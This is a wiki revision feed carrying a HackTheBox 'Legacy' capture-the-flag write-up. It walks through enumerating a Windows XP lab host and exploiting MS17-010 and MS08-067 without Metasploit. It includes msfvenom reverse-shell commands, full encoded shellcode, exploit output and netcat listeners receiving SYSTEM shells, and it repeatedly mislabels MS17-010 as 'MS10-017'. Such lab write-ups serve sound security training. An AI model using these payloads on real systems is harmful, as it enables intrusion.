<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FLegacy</id>
	<title>Write-ups/HTB/Legacy - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FLegacy"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Legacy&amp;action=history"/>
	<updated>2026-04-21T15:22:21Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Legacy&amp;diff=1173&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 22:50, 6 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Legacy&amp;diff=1173&amp;oldid=prev"/>
		<updated>2022-01-06T22:50:35Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Legacy&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = MS08-067, MS17-010&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-79.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Windows XP box had two vulnerabilities. MS10-017 (Eternal blue) and MS08-067. I will in this blog post go through both of them without metasploit. For testing purpose I tried using metasploit first to verify that it was actually eternal blue.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When manually exploiting the vulnearbilites I used [https://github.com/helviojunior/MS17-010 helviojunior&amp;#039;s] and [https://github.com/areyou1or0/OSCP/blob/master/Scripts%20-%20MS08-067 areyou1or0] scripts. I had alot of trouble installing pip with python2 since python2 is deprecated. I fixed it however using this [https://stackoverflow.com/questions/64187581/e-package-python-pip-has-no-installation-candidate method]. When initially getting a shell, we are immediatly NT AUTHORITY/SYSTEM not needing to do privilege escalation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I also switched from ParrotOS to Kali. Even though I like ParrotOS alot, using a more popular distro is better for troubleshooting and OSCP will be taken using Kali. So I made the switch and moved all my tools over to Kali. They both are great OS&amp;#039;s and I dont prefer one over the other.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌─[root@parrotos]─[/home/aghanim/Desktop/HTB/legacy]&lt;br /&gt;
└──╼ #nmap -sC -sV -p- --min-rate 10000 10.10.10.4 -oN nmap.result&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-05 18:43 GMT&lt;br /&gt;
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan&lt;br /&gt;
SYN Stealth Scan Timing: About 50.00% done; ETC: 18:46 (0:01:06 remaining)&lt;br /&gt;
Nmap scan report for 10.10.10.4&lt;br /&gt;
Host is up (0.081s latency).&lt;br /&gt;
Not shown: 65532 filtered tcp ports (no-response)&lt;br /&gt;
PORT     STATE  SERVICE       VERSION&lt;br /&gt;
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn&lt;br /&gt;
445/tcp  open   microsoft-ds  Windows XP microsoft-ds&lt;br /&gt;
3389/tcp closed ms-wbt-server&lt;br /&gt;
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_clock-skew: mean: 5d00h59m29s, deviation: 1h24m50s, median: 4d23h59m29s&lt;br /&gt;
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: , NetBIOS MAC: 00:50:56:b9:e4:a8 (VMware)&lt;br /&gt;
| smb-security-mode:&lt;br /&gt;
|   account_used:&lt;br /&gt;
|   authentication_level: user&lt;br /&gt;
|   challenge_response: supported&lt;br /&gt;
|_  message_signing: disabled (dangerous, but default)&lt;br /&gt;
| smb-os-discovery:&lt;br /&gt;
|   OS: Windows XP (Windows 2000 LAN Manager)&lt;br /&gt;
|   OS CPE: cpe:/o:microsoft:windows_xp::-&lt;br /&gt;
|   Computer name: legacy&lt;br /&gt;
|   NetBIOS computer name: LEGACY\x00&lt;br /&gt;
|   Workgroup: HTB\x00&lt;br /&gt;
|_  System time: 2022-01-10T22:45:36+02:00&lt;br /&gt;
|_smb2-time: Protocol negotiation failed (SMB2)&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 185.20 seconds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The OS is &amp;#039;&amp;#039;&amp;#039;Windows XP. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There were only two ports open. &amp;#039;&amp;#039;&amp;#039;Port 139 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;port 445&amp;#039;&amp;#039;&amp;#039;. Port 445 gave us a hint that this might be an eternal blue vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using &amp;#039;&amp;#039;&amp;#039;NMAPS &amp;#039;&amp;#039;&amp;#039;vuln scripts I verfied that the target was vulnerable to &amp;#039;&amp;#039;&amp;#039;MS10-017 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;MS08-067. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/toolbox/impacket]&lt;br /&gt;
└─# nmap --script vuln 10.10.10.4&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-06 16:14 EST&lt;br /&gt;
Pre-scan script results:&lt;br /&gt;
| broadcast-avahi-dos:&lt;br /&gt;
|   Discovered hosts:&lt;br /&gt;
|     224.0.0.251&lt;br /&gt;
|   After NULL UDP avahi packet DoS (CVE-2011-1002).&lt;br /&gt;
|_  Hosts are all up (not vulnerable).&lt;br /&gt;
Nmap scan report for 10.10.10.4&lt;br /&gt;
Host is up (0.038s latency).&lt;br /&gt;
Not shown: 997 filtered tcp ports (no-response)&lt;br /&gt;
PORT     STATE  SERVICE&lt;br /&gt;
139/tcp  open   netbios-ssn&lt;br /&gt;
445/tcp  open   microsoft-ds&lt;br /&gt;
3389/tcp closed ms-wbt-server&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)&lt;br /&gt;
| smb-vuln-ms17-010:&lt;br /&gt;
|   VULNERABLE:&lt;br /&gt;
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)&lt;br /&gt;
|     State: VULNERABLE&lt;br /&gt;
|     IDs:  CVE:CVE-2017-0143&lt;br /&gt;
|     Risk factor: HIGH&lt;br /&gt;
|       A critical remote code execution vulnerability exists in Microsoft SMBv1&lt;br /&gt;
|        servers (ms17-010).&lt;br /&gt;
|&lt;br /&gt;
|     Disclosure date: 2017-03-14&lt;br /&gt;
|     References:&lt;br /&gt;
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143&lt;br /&gt;
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/&lt;br /&gt;
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx&lt;br /&gt;
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED&lt;br /&gt;
|_smb-vuln-ms10-054: false&lt;br /&gt;
| smb-vuln-cve2009-3103:&lt;br /&gt;
|   VULNERABLE:&lt;br /&gt;
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)&lt;br /&gt;
|     State: VULNERABLE&lt;br /&gt;
|     IDs:  CVE:CVE-2009-3103&lt;br /&gt;
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,&lt;br /&gt;
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a&lt;br /&gt;
|           denial of service (system crash) via an &amp;amp; (ampersand) character in a Process ID High header field in a NEGOTIATE&lt;br /&gt;
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,&lt;br /&gt;
|           aka &amp;quot;SMBv2 Negotiation Vulnerability.&amp;quot;&lt;br /&gt;
|&lt;br /&gt;
|     Disclosure date: 2009-09-08&lt;br /&gt;
|     References:&lt;br /&gt;
|       http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103&lt;br /&gt;
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103&lt;br /&gt;
| smb-vuln-ms08-067:&lt;br /&gt;
|   VULNERABLE:&lt;br /&gt;
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)&lt;br /&gt;
|     State: LIKELY VULNERABLE&lt;br /&gt;
|     IDs:  CVE:CVE-2008-4250&lt;br /&gt;
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,&lt;br /&gt;
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary&lt;br /&gt;
|           code via a crafted RPC request that triggers the overflow during path canonicalization.&lt;br /&gt;
|&lt;br /&gt;
|     Disclosure date: 2008-10-23&lt;br /&gt;
|     References:&lt;br /&gt;
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250&lt;br /&gt;
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;br /&gt;
&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 83.30 seconds&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From MITRE on MS08-067&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
[...] allows remote attackers to execute arbitrary code via a crafted RPC request that triggers the overflow during path canonicalization[...]&lt;br /&gt;
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-4250&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and on MS10-017&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
 [...] allows remote attackers to execute arbitrary code via crafted packets, aka &amp;quot;Windows SMB Remote Code Execution Vulnerability. [...]&lt;br /&gt;
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the NMAP output we can see that the OS is &amp;#039;&amp;#039;&amp;#039;Windows XP. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
| smb-os-discovery:&lt;br /&gt;
|   OS: Windows XP (Windows 2000 LAN Manager)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumeration SMB ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using &amp;#039;&amp;#039;&amp;#039;enum4linux&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/toolbox/impacket]&lt;br /&gt;
└─# enum4linux -A 10.10.10.4&lt;br /&gt;
Unknown option: A&lt;br /&gt;
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jan  6 16:48:54 2022&lt;br /&gt;
&lt;br /&gt;
 ==========================&lt;br /&gt;
|    Target Information    |&lt;br /&gt;
 ==========================&lt;br /&gt;
Target ........... 10.10.10.4&lt;br /&gt;
RID Range ........ 500-550,1000-1050&lt;br /&gt;
Username ......... &amp;#039;&amp;#039;&lt;br /&gt;
Password ......... &amp;#039;&amp;#039;&lt;br /&gt;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ==================================================&lt;br /&gt;
|    Enumerating Workgroup/Domain on 10.10.10.4    |&lt;br /&gt;
 ==================================================&lt;br /&gt;
[+] Got domain/workgroup name: HTB&lt;br /&gt;
&lt;br /&gt;
 ==========================================&lt;br /&gt;
|    Nbtstat Information for 10.10.10.4    |&lt;br /&gt;
 ==========================================&lt;br /&gt;
Looking up status of 10.10.10.4&lt;br /&gt;
        LEGACY           -         B   Workstation Service&lt;br /&gt;
        HTB              -  B   Domain/Workgroup Name&lt;br /&gt;
        LEGACY           -         B   File Server Service&lt;br /&gt;
        HTB              -  B   Browser Service Elections&lt;br /&gt;
        HTB              -         B   Master Browser&lt;br /&gt;
        ..__MSBROWSE__.  -  B   Master Browser&lt;br /&gt;
&lt;br /&gt;
        MAC Address = 00-50-56-B9-54-63&lt;br /&gt;
&lt;br /&gt;
 ===================================&lt;br /&gt;
|    Session Check on 10.10.10.4    |&lt;br /&gt;
 ===================================&lt;br /&gt;
[+] Server 10.10.10.4 allows sessions using username &amp;#039;&amp;#039;, password &amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
 =========================================&lt;br /&gt;
|    Getting domain SID for 10.10.10.4    |&lt;br /&gt;
 =========================================&lt;br /&gt;
Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED&lt;br /&gt;
[+] Can&amp;#039;t determine if host is part of domain or part of a workgroup&lt;br /&gt;
&lt;br /&gt;
 ====================================&lt;br /&gt;
|    OS information on 10.10.10.4    |&lt;br /&gt;
 ====================================&lt;br /&gt;
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.&lt;br /&gt;
[+] Got OS info for 10.10.10.4 from smbclient:&lt;br /&gt;
[+] Got OS info for 10.10.10.4 from srvinfo:&lt;br /&gt;
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED&lt;br /&gt;
&lt;br /&gt;
 ===========================&lt;br /&gt;
|    Users on 10.10.10.4    |&lt;br /&gt;
 ===========================&lt;br /&gt;
[E] Couldn&amp;#039;t find users using querydispinfo: NT_STATUS_ACCESS_DENIED&lt;br /&gt;
&lt;br /&gt;
[E] Couldn&amp;#039;t find users using enumdomusers: NT_STATUS_ACCESS_DENIED&lt;br /&gt;
&lt;br /&gt;
 =======================================&lt;br /&gt;
|    Share Enumeration on 10.10.10.4    |&lt;br /&gt;
 =======================================&lt;br /&gt;
[E] Can&amp;#039;t list shares: NT_STATUS_ACCESS_DENIED&lt;br /&gt;
&lt;br /&gt;
[+] Attempting to map shares on 10.10.10.4&lt;br /&gt;
&lt;br /&gt;
 ==================================================&lt;br /&gt;
|    Password Policy Information for 10.10.10.4    |&lt;br /&gt;
 ==================================================&lt;br /&gt;
[E] Unexpected error from polenum:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] Attaching to 10.10.10.4 using a NULL share&lt;br /&gt;
&lt;br /&gt;
[+] Trying protocol 139/SMB...&lt;br /&gt;
&lt;br /&gt;
        [!] Protocol failed: Cannot request session (Called Name:10.10.10.4)&lt;br /&gt;
&lt;br /&gt;
[+] Trying protocol 445/SMB...&lt;br /&gt;
&lt;br /&gt;
        [!] Protocol failed: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[E] Failed to get password policy with rpcclient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ============================&lt;br /&gt;
|    Groups on 10.10.10.4    |&lt;br /&gt;
 ============================&lt;br /&gt;
&lt;br /&gt;
[+] Getting builtin groups:&lt;br /&gt;
&lt;br /&gt;
[+] Getting builtin group memberships:&lt;br /&gt;
&lt;br /&gt;
[+] Getting local groups:&lt;br /&gt;
&lt;br /&gt;
[+] Getting local group memberships:&lt;br /&gt;
&lt;br /&gt;
[+] Getting domain groups:&lt;br /&gt;
&lt;br /&gt;
[+] Getting domain group memberships:&lt;br /&gt;
&lt;br /&gt;
 =====================================================================&lt;br /&gt;
|    Users on 10.10.10.4 via RID cycling (RIDS: 500-550,1000-1050)    |&lt;br /&gt;
 =====================================================================&lt;br /&gt;
[E] Couldn&amp;#039;t get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.&lt;br /&gt;
&lt;br /&gt;
 ===========================================&lt;br /&gt;
|    Getting printer info for 10.10.10.4    |&lt;br /&gt;
 ===========================================&lt;br /&gt;
No printers returned.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
enum4linux complete on Thu Jan  6 16:48:58 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nothing too interesting. We will now try to get a shell on the box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are two methods to getting shell on this box wihtout using metasploit. The first method is using &amp;#039;&amp;#039;&amp;#039;MS17-010&amp;#039;&amp;#039;&amp;#039;. In this method we generate a msfvenom payload, and use &amp;#039;&amp;#039;&amp;#039;send_and_execute&amp;#039;&amp;#039;&amp;#039; script from helviojuniors repository. This script sends the generated payload to the target machine and execute it, giving us a conneciton with netcat. This script will not crash the target.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The second method, &amp;#039;&amp;#039;&amp;#039;MS08-067&amp;#039;&amp;#039;&amp;#039; is kind of the same; we generate a payload in msfvenom and add the payload to the script. The script need to know the version of the OS we are using. This script will crash the target, so if you choose the wrong version you have to resett the machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Method 1 - MS17-010 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First we generate a payload using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/toolbox/impacket]&lt;br /&gt;
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe &amp;gt; ms17–010.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This payload uses &amp;#039;&amp;#039;&amp;#039;reverse_tcp&amp;#039;&amp;#039;&amp;#039;, setting the LHOST to our attacking machine, and LPORT of our own choosing. The file extension will be &amp;#039;&amp;#039;&amp;#039;exe&amp;#039;&amp;#039;&amp;#039; and output this to &amp;#039;&amp;#039;&amp;#039;ms17_010.exe&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We then start a &amp;#039;&amp;#039;&amp;#039;netcat &amp;#039;&amp;#039;&amp;#039;listener and execute the script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/legacy/MS17-010]&lt;br /&gt;
└─# python2 send_and_execute.py 10.10.10.4 ms17–010.exe 445                                                            2 ⚙&lt;br /&gt;
Trying to connect to 10.10.10.4:445&lt;br /&gt;
Target OS: Windows 5.1&lt;br /&gt;
Using named pipe: browser&lt;br /&gt;
Groom packets&lt;br /&gt;
attempt controlling next transaction on x86&lt;br /&gt;
success controlling one transaction&lt;br /&gt;
modify parameter count to 0xffffffff to be able to write backward&lt;br /&gt;
leak next transaction&lt;br /&gt;
CONNECTION: 0x821e6010&lt;br /&gt;
SESSION: 0xe21b8428&lt;br /&gt;
FLINK: 0x7bd48&lt;br /&gt;
InData: 0x7ae28&lt;br /&gt;
MID: 0xa&lt;br /&gt;
TRANS1: 0x78b50&lt;br /&gt;
TRANS2: 0x7ac90&lt;br /&gt;
modify transaction struct for arbitrary read/write&lt;br /&gt;
make this SMB session to be SYSTEM&lt;br /&gt;
current TOKEN addr: 0xe1769b10&lt;br /&gt;
userAndGroupCount: 0x3&lt;br /&gt;
userAndGroupsAddr: 0xe1769bb0&lt;br /&gt;
overwriting token UserAndGroups&lt;br /&gt;
Sending file IX9SAW.exe...&lt;br /&gt;
Opening SVCManager on 10.10.10.4.....&lt;br /&gt;
Creating service FLSs.....&lt;br /&gt;
Starting service FLSs.....&lt;br /&gt;
The NETBIOS connection with the remote host timed out.&lt;br /&gt;
Removing service FLSs.....&lt;br /&gt;
ServiceExec Error on: 10.10.10.4&lt;br /&gt;
nca_s_proto_error&lt;br /&gt;
Done&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at our listener, we should have a shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# netcat -lvnp 4444                                                                                      1 ⨯&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.4] 1031&lt;br /&gt;
Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;
(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
C:\WINDOWS\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Method 2 - MS08-067 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We first generate a payload using msfvenom. This EXITFUNC option sets &amp;#039;&amp;#039;&amp;#039;a function hash in the payload&amp;#039;&amp;#039;&amp;#039; that specifies a. DLL and function to call when the payload is complete.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/toolbox/impacket]&lt;br /&gt;
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 EXITFUNC=thread -b &amp;quot;\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40&amp;quot; -f c -a x86 --platform windows&lt;br /&gt;
&lt;br /&gt;
Found 11 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai&lt;br /&gt;
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.&lt;br /&gt;
Attempting to encode payload with 1 iterations of generic/none&lt;br /&gt;
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)&lt;br /&gt;
Attempting to encode payload with 1 iterations of x86/call4_dword_xor&lt;br /&gt;
x86/call4_dword_xor succeeded with size 348 (iteration=0)&lt;br /&gt;
x86/call4_dword_xor chosen with final size 348&lt;br /&gt;
Payload size: 348 bytes&lt;br /&gt;
Final size of c file: 1488 bytes&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e&amp;quot;&lt;br /&gt;
&amp;quot;\x6f\xdb\xc7\xb7\x83\xee\xfc\xe2\xf4\x93\x33\x45\xb7\x6f\xdb&amp;quot;&lt;br /&gt;
&amp;quot;\xa7\x3e\x8a\xea\x07\xd3\xe4\x8b\xf7\x3c\x3d\xd7\x4c\xe5\x7b&amp;quot;&lt;br /&gt;
&amp;quot;\x50\xb5\x9f\x60\x6c\x8d\x91\x5e\x24\x6b\x8b\x0e\xa7\xc5\x9b&amp;quot;&lt;br /&gt;
&amp;quot;\x4f\x1a\x08\xba\x6e\x1c\x25\x45\x3d\x8c\x4c\xe5\x7f\x50\x8d&amp;quot;&lt;br /&gt;
&amp;quot;\x8b\xe4\x97\xd6\xcf\x8c\x93\xc6\x66\x3e\x50\x9e\x97\x6e\x08&amp;quot;&lt;br /&gt;
&amp;quot;\x4c\xfe\x77\x38\xfd\xfe\xe4\xef\x4c\xb6\xb9\xea\x38\x1b\xae&amp;quot;&lt;br /&gt;
&amp;quot;\x14\xca\xb6\xa8\xe3\x27\xc2\x99\xd8\xba\x4f\x54\xa6\xe3\xc2&amp;quot;&lt;br /&gt;
&amp;quot;\x8b\x83\x4c\xef\x4b\xda\x14\xd1\xe4\xd7\x8c\x3c\x37\xc7\xc6&amp;quot;&lt;br /&gt;
&amp;quot;\x64\xe4\xdf\x4c\xb6\xbf\x52\x83\x93\x4b\x80\x9c\xd6\x36\x81&amp;quot;&lt;br /&gt;
&amp;quot;\x96\x48\x8f\x84\x98\xed\xe4\xc9\x2c\x3a\x32\xb3\xf4\x85\x6f&amp;quot;&lt;br /&gt;
&amp;quot;\xdb\xaf\xc0\x1c\xe9\x98\xe3\x07\x97\xb0\x91\x68\x24\x12\x0f&amp;quot;&lt;br /&gt;
&amp;quot;\xff\xda\xc7\xb7\x46\x1f\x93\xe7\x07\xf2\x47\xdc\x6f\x24\x12&amp;quot;&lt;br /&gt;
&amp;quot;\xe7\x3f\x8b\x97\xf7\x3f\x9b\x97\xdf\x85\xd4\x18\x57\x90\x0e&amp;quot;&lt;br /&gt;
&amp;quot;\x50\xdd\x6a\xb3\xcd\xbd\x61\xd0\xaf\xb5\x6f\xca\x9b\x3e\x89&amp;quot;&lt;br /&gt;
&amp;quot;\xb1\xd7\xe1\x38\xb3\x5e\x12\x1b\xba\x38\x62\xea\x1b\xb3\xbb&amp;quot;&lt;br /&gt;
&amp;quot;\x90\x95\xcf\xc2\x83\xb3\x37\x02\xcd\x8d\x38\x62\x07\xb8\xaa&amp;quot;&lt;br /&gt;
&amp;quot;\xd3\x6f\x52\x24\xe0\x38\x8c\xf6\x41\x05\xc9\x9e\xe1\x8d\x26&amp;quot;&lt;br /&gt;
&amp;quot;\xa1\x70\x2b\xff\xfb\xb6\x6e\x56\x83\x93\x7f\x1d\xc7\xf3\x3b&amp;quot;&lt;br /&gt;
&amp;quot;\x8b\x91\xe1\x39\x9d\x91\xf9\x39\x8d\x94\xe1\x07\xa2\x0b\x88&amp;quot;&lt;br /&gt;
&amp;quot;\xe9\x24\x12\x3e\x8f\x95\x91\xf1\x90\xeb\xaf\xbf\xe8\xc6\xa7&amp;quot;&lt;br /&gt;
&amp;quot;\x48\xba\x60\x27\xaa\x45\xd1\xaf\x11\xfa\x66\x5a\x48\xba\xe7&amp;quot;&lt;br /&gt;
&amp;quot;\xc1\xcb\x65\x5b\x3c\x57\x1a\xde\x7c\xf0\x7c\xa9\xa8\xdd\x6f&amp;quot;&lt;br /&gt;
&amp;quot;\x88\x38\x62&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Copy the payload and paste in the script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220106221221.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the scripts there are 7 options to set the correct OS. Since from our enumeration stage know that this is a &amp;#039;&amp;#039;&amp;#039;Windows XP &amp;#039;&amp;#039;&amp;#039;machine, this narrows it down.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-80.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a netcat listneer and  then run this script using this command.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/legacy]&lt;br /&gt;
└─# python2 ms08-67.py 10.10.10.4 6 445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at our listener we see that we have a shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# netcat -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.4] 1049&lt;br /&gt;
Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;
(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
C:\WINDOWS\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Further enumeration ==&lt;br /&gt;
